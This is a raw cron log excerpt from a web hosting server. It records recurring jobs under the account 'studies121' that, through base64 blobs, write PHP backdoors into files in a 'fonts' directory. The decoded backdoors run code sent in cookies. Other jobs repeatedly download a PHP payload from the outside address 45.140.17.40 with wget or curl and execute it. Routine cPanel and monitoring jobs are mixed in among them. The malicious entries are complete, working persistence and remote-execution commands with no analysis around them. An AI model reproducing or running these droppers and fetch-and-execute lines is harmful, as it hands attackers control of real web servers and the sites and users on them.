Sep 10 23:07:01 ip-184-168-122-23 CROND[24628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:07:01 ip-184-168-122-23 CROND[24630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:07:01 ip-184-168-122-23 CROND[24631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:07:01 ip-184-168-122-23 CROND[24629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:08:01 ip-184-168-122-23 CROND[24774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:08:01 ip-184-168-122-23 CROND[24776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:08:01 ip-184-168-122-23 CROND[24778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:08:01 ip-184-168-122-23 CROND[24779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:08:01 ip-184-168-122-23 CROND[24777]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:09:01 ip-184-168-122-23 CROND[24862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:09:01 ip-184-168-122-23 CROND[24864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:09:01 ip-184-168-122-23 CROND[24866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:09:01 ip-184-168-122-23 CROND[24868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:09:01 ip-184-168-122-23 CROND[24867]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 23:10:01 ip-184-168-122-23 CROND[24966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:10:01 ip-184-168-122-23 CROND[24968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:10:01 ip-184-168-122-23 CROND[24970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:10:01 ip-184-168-122-23 CROND[24969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:10:01 ip-184-168-122-23 CROND[24975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:10:01 ip-184-168-122-23 CROND[24976]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:10:01 ip-184-168-122-23 CROND[24974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:10:02 ip-184-168-122-23 CROND[24983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 23:11:01 ip-184-168-122-23 CROND[25072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:11:01 ip-184-168-122-23 CROND[25073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:11:01 ip-184-168-122-23 CROND[25074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:11:01 ip-184-168-122-23 CROND[25076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:12:02 ip-184-168-122-23 CROND[25253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:12:02 ip-184-168-122-23 CROND[25257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:12:02 ip-184-168-122-23 CROND[25256]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:12:02 ip-184-168-122-23 CROND[25258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:12:02 ip-184-168-122-23 CROND[25255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:13:01 ip-184-168-122-23 CROND[25350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:13:01 ip-184-168-122-23 CROND[25355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:13:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:13:01 ip-184-168-122-23 CROND[25359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:14:01 ip-184-168-122-23 CROND[25456]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:14:01 ip-184-168-122-23 CROND[25458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:14:01 ip-184-168-122-23 CROND[25460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:14:01 ip-184-168-122-23 CROND[25457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:14:01 ip-184-168-122-23 CROND[25461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:15:01 ip-184-168-122-23 CROND[25552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:16:01 ip-184-168-122-23 CROND[25653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:16:01 ip-184-168-122-23 CROND[25657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:16:01 ip-184-168-122-23 CROND[25655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:16:01 ip-184-168-122-23 CROND[25656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:16:01 ip-184-168-122-23 CROND[25658]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 23:16:01 ip-184-168-122-23 CROND[25659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:17:01 ip-184-168-122-23 CROND[25757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:17:01 ip-184-168-122-23 CROND[25758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:17:01 ip-184-168-122-23 CROND[25761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:17:01 ip-184-168-122-23 CROND[25762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:18:01 ip-184-168-122-23 CROND[25850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:18:01 ip-184-168-122-23 CROND[25852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 23:18:01 ip-184-168-122-23 CROND[25855]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 23:18:01 ip-184-168-122-23 CROND[25854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 23:18:01 ip-184-168-122-23 CROND[25853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 23:19:01 ip-184-168-122-23 CROND[26026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 23:19:01 ip-184-168-122-23 CROND[26029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
